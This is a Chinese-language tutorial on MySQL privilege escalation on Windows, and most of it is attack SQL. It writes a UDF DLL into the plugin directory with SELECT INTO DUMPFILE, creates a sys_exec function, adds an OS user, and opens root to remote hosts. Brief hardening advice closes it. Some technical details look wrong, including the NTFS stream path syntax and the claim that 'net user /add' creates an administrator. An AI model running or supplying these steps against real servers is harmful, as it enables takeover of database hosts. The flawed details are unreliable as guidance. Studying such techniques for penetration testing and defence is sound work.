目录
深入剖析 MySQL 数据库提权：原理、方法与实战
一、MySQL 提权基础概念
（一）什么是 MySQL 提权
（二）提权的重要性
二、MySQL 提权核心技术
（一）UDF（用户定义函数）提权
（二）NTFS ADS 流创建目录与文件
三、MySQL 提权实战场景
（一）场景一：已知数据库用户名和密码，目标主机开启远程连接
（二）场景二：已获得 Web Shell 权限，但无法执行操作系统命令
四、总结与安全建议
（一）总结
（二）安全建议
在网络安全领域，数据库权限提升是一项关键技能，而 MySQL 数据库作为广泛使用的开源数据库，其提权操作备受关注。本文将深入探讨 MySQL 数据库提权的相关知识，包括原理、具体方法以及实战演示，并附上详细代码，帮助读者全面理解和掌握这一重要技术。
一、MySQL 提权基础概念
（一）什么是 MySQL 提权
MySQL 提权是指在已获取 MySQL 数据库一定权限的基础上，通过特定方法获取更高权限，甚至是操作系统的管理员权限，从而实现对服务器更深入的控制和数据访问。这在渗透测试和安全评估中是一个重要环节，有助于发现系统潜在的安全风险。
（二）提权的重要性
在实际网络环境中，低权限的数据库访问可能受到诸多限制，无法满足攻击者对敏感数据获取或系统控制的需求。通过提权，攻击者可以突破这些限制，窃取重要数据、篡改系统配置，甚至完全控制服务器，对企业和个人的信息安全构成严重威胁。同时，了解提权技术也有助于安全工程师更好地进行安全防护，及时发现并修复系统漏洞。
二、MySQL 提权核心技术
（一）UDF（用户定义函数）提权
UDF 原理 UDF（User-Defined Function）是 MySQL 提供的一种允许用户自定义函数的机制。在 Windows 系统下，我们可以编写一个调用系统cmd命令的 UDF 动态链接库（.dll文件）。MySQL 支持用户使用 UDF，这使得我们可以利用它来执行系统命令，进而实现权限提升。例如，我们可以创建一个自定义函数，该函数在执行时调用系统命令，就像在操作系统的命令行中输入命令一样。UDF 提权流程
创建临时表：首先，需要在 MySQL 数据库中创建一个临时表，用于存放 UDF 的.dll文件数据。例如：
CREATE TABLE temp_udf (udf_data LONGBLOB);
插入 UDF 数据：将编写好的 UDF 的.dll文件转换为十六进制格式，然后插入到临时表中。假设.dll文件转换后的十六进制数据为0x123456...（实际数据会很长），插入语句如下：
INSERT INTO temp_udf (udf_data) VALUES (0x123456...);
导出 UDF 文件：使用SELECT...INTO DUMPFILE语句将临时表中的 UDF 数据导出到 MySQL 的lib/plugin目录下（MySQL 5.1 版本之后），命令如下：
SELECT udf_data INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin/udf.dll' FROM temp_udf;
创建自定义函数：利用导出的.dll文件在 MySQL 中创建自定义函数，例如创建一个名为sys_exec的函数用于执行系统命令：
CREATE FUNCTION sys_exec RETURNS string SONAME 'udf.dll';
执行系统命令：通过调用自定义函数来执行系统命令，如添加一个管理员用户：
SELECT sys_exec('net user admin password /add');
这样就实现了利用 UDF 提权，获取操作系统的更高权限。
（二）NTFS ADS 流创建目录与文件
NTFS ADS 流原理 NTFS ADS（Alternate Data Streams）流是 NTFS 文件系统的一个特性，它允许在一个文件名下存储多个数据流。其格式为 “文件名：流名：流的种类”，流名可省略。当流的种类为index allocation时，表示该数据流对应的是一个文件夹。利用这个特性，我们可以在 MySQL 中通过导出数据的方式创建目录，为 UDF 提权等操作做准备。利用 ADS 流创建目录示例 假设要在 MySQL 的安装目录下创建lib/plugin目录（如果不存在），可以使用以下方法：
SELECT 'any_data' INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.1/lib:plugin:index allocation';
这条语句会在指定路径下创建lib目录，并在lib目录下创建plugin目录。通过这种方式，即使 MySQL 本身的文件操作无法直接创建目录，我们也能借助 ADS 流达到目的，确保 UDF 的.dll文件能够放置到正确的位置。
三、MySQL 提权实战场景
（一）场景一：已知数据库用户名和密码，目标主机开启远程连接
开启目标主机 MySQL 远程连接
登录到目标主机的 MySQL 数据库：
mysql -u root -p
更新user表，允许远程连接：
USE mysql;
UPDATE user SET host = '%' WHERE user = 'root';
授权远程连接权限：
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'password';
刷新权限：
FLUSH PRIVILEGES;
利用 UDF 提权
在攻击机上使用 MySQL 连接工具（如Navicat等）连接目标主机的 MySQL 数据库：
mysql -h target_ip -u root -p
按照 UDF 提权流程进行操作，创建临时表、插入 UDF 数据、导出 UDF 文件、创建自定义函数并执行系统命令。例如，添加一个管理员用户：
-- 创建临时表
CREATE TABLE temp_udf (udf_data LONGBLOB);
-- 插入UDF数据（假设已获取十六进制数据）
INSERT INTO temp_udf (udf_data) VALUES (0x123456...);
-- 导出UDF文件
SELECT udf_data INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin/udf.dll' FROM temp_udf;
-- 创建自定义函数
CREATE FUNCTION sys_exec RETURNS string SONAME 'udf.dll';
-- 添加管理员用户
SELECT sys_exec('net user admin password /add');
（二）场景二：已获得 Web Shell 权限，但无法执行操作系统命令
上传提权脚本：在获得 Web Shell 权限后，如果无法直接执行操作系统命令，可以上传一个集成了 UDF 提权步骤的脚本到目标主机。该脚本通常会自动完成创建临时表、插入 UDF 数据、导出 UDF 文件等操作。利用脚本提权：通过 Web Shell 访问提权脚本页面，输入目标 MySQL 数据库的用户名和密码。脚本会利用 UDF 提权原理，在后台执行一系列操作，最终实现权限提升。例如，脚本可能会执行以下操作：
-- 假设脚本中已包含创建临时表和插入UDF数据的操作
-- 导出UDF文件
SELECT udf_data INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.1/lib/plugin/udf.dll' FROM temp_udf;
-- 创建自定义函数
CREATE FUNCTION sys_exec RETURNS string SONAME 'udf.dll';
-- 添加管理员用户
SELECT sys_exec('net user admin password /add');
四、总结与安全建议
（一）总结
MySQL 数据库提权技术涉及到 UDF、NTFS ADS 流等多种技术，通过巧妙利用这些技术，攻击者可以在获取一定权限的基础上提升权限，对系统安全造成严重威胁。在实际操作中，不同的场景需要采用不同的提权方法，但核心思路都是利用 MySQL 的特性和漏洞来执行系统命令，获取更高权限。
（二）安全建议
加强数据库安全配置：设置复杂的数据库密码，并定期更换。限制数据库的远程连接，仅允许受信任的 IP 地址访问。及时更新软件版本：保持 MySQL 数据库和操作系统的更新，修复已知的安全漏洞，降低被攻击的风险。强化 Web 应用安全：对 Web 应用进行严格的输入验证和过滤，防止 SQL 注入等漏洞的出现，避免攻击者通过 Web 应用获取数据库权限。定期安全审计：定期对数据库和系统进行安全审计，及时发现潜在的安全问题并进行修复。
MySQL 数据库提权技术虽然强大，但只要我们采取有效的安全措施，就能在很大程度上保障系统的安全。希望本文能帮助读者深入理解 MySQL 提权技术，提高网络安全意识和防护能力。